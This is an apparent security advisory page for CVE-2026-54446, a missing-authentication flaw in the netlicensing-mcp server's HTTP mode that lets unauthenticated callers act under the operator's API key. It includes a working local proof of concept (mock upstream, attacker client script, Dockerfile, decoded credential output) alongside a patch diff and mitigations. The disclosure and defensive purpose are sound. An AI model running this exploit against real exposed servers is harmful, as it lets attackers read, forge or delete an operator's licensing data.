NetLicensing-MCP: Missing Authentication for Critical Function (CWE-306) – CVE-2026-54446 (High) -DC-Jul2026-986

Listen to this Post

How CVE-2026-54446 Works

When `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication. The middleware is designed to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request), passing the unauthenticated request downstream.
The downstream client module uses a Python `ContextVar` named `api_key_ctx` with a default of os.getenv("NETLICENSING_API_KEY", ""). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header and transmits it to the upstream NetLicensing REST API on every request.

The complete exploitable data flow is:

1. HTTP app created with `mcp.streamable_http_app()` (server.py:1430)

2. `ApiKeyMiddleware` registered (server.py:1431)

  1. Middleware attempts optional key extraction from headers/query (server.py:1412–1419)
  2. Auth bypass sink: missing key → `return await call_next(request)` (server.py:1427)
  3. Unauthenticated caller invokes `netlicensing_list_products` (or any tool) (server.py:155–163)

6. Tool delegates to `nl_get(“/product”, …)` (tools/products.py:9,17)

7. `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var (client.py:30)

8. `Authorization: Basic base64(“apiKey:“)` constructed (client.py:62–70)

9. Upstream sink: `client.get(url, headers=_headers(), …)` executed (client.py:105,109)

An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator’s identity and account quota. CVSS 3.1 Base Score: 8.1 (High).

DailyCVE Form

Platform: ……. netlicensing-mcp
Version: …….. 0.1.5
Vulnerability :.. CWE-306 Missing Authentication
Severity: ……. High (CVSS 8.1)
date: ……….. 2026-07-14

Prediction: ….. Patch expected 2026-07-15 (v0.1.8)

What Undercode Say

Analytics

The vulnerability stems from a logic flaw in the `ApiKeyMiddleware.dispatch()` method. The middleware extracts the API key from headers or query parameters but fails to reject requests when no key is provided. Instead, it unconditionally forwards the request to the next handler. The downstream client then falls back to the server’s environment variable NETLICENSING_API_KEY, effectively using the operator’s credential for all upstream calls.

Key code excerpts:

src/netlicensing_mcp/server.py (lines 1418–1427)
if not key:
key = request.query_params.get("apikey")
if key:
token = api_key_ctx.set(key)
...
return await call_next(request) <-- no rejection when key is absent
src/netlicensing_mcp/client.py (lines 30, 64, 70, 109)
"api_key", default=os.getenv("NETLICENSING_API_KEY", "") server-side fallback
...
auth_str = f"apiKey:{api_key}"
"Authorization": f"Basic {token}",
...
r = await client.get(url, headers=_headers(), params=params or {})

Bash commands to reproduce:

Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("MOCK_REQUEST", self.command, self.path,
self.headers.get("Authorization"), flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
def log_message(self, args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http
Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
asyncio.run(main())
PY

Expected output in Terminal 1:

MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==

Decoding the Base64 credential confirms the operator’s secret was used:

$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET

Exploit

An unauthenticated attacker with network access to the `/mcp` endpoint can invoke any MCP tool without supplying any credential. The attacker’s requests are transparently executed under the server operator’s NetLicensing account. The attack requires no special privileges or prior authentication.

Self-contained Docker reproduction:

FROM python:3.12-slim
RUN apt-get update && apt-get install -y --no-install-recommends git \
&& rm -rf /var/lib/apt/lists/
WORKDIR /app
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py
RUN cd /app/repo && pip install --no-cache-dir .
CMD ["python3", "/app/poc.py"]

PoC script (poc.py) excerpt:

Attack: connect WITHOUT any API key and invoke a tool
async with streamablehttp_client(f"http://127.0.0.1:{MCP_PORT}/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool("netlicensing_list_products", {"filter": ""})

Observed evidence from dynamic reproduction:

[bash] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.

Protection

Patch: Replace the unconditional pass-through with a 401 rejection:

a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
+ if request.url.path == "/health":
+ return await call_next(request)
+
key = request.headers.get("x-netlicensing-api-key")
if not key:
auth = request.headers.get("authorization")
if auth and auth.lower().startswith("bearer "):
key = auth[7:]
@@
return await call_next(request)
finally:
api_key_ctx.reset(token)
- return await call_next(request)
+ return JSONResponse(
+ {"error": "NetLicensing API key is required for HTTP transport"},
+ status_code=401,
+ )

Mitigation measures:

  • Upgrade to `netlicensing-mcp` version 0.1.8 or higher.
  • Do not expose the HTTP transport mode to untrusted networks without proper authentication enforcement.
  • Use per-client API keys as recommended in the README, but ensure they are technically enforced.
  • Deploy the service behind an API gateway or reverse proxy that enforces authentication before requests reach the MCP server.
  • Consider using the stdio transport mode instead of HTTP for local/trusted environments.

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker’s requests are transparently executed under the server operator’s NetLicensing account.

Concrete consequences include:

  • Confidentiality: Enumeration of all products, licenses, licensees, and transactions associated with the operator’s account.
  • Integrity: Creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
  • Availability: Bulk deletion of products, licenses, or licensees, destroying the operator’s licensing configuration.
    Who is impacted: Operators who deploy `netlicensing-mcp` in HTTP transport mode (python3 -m netlicensing_mcp.server http) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top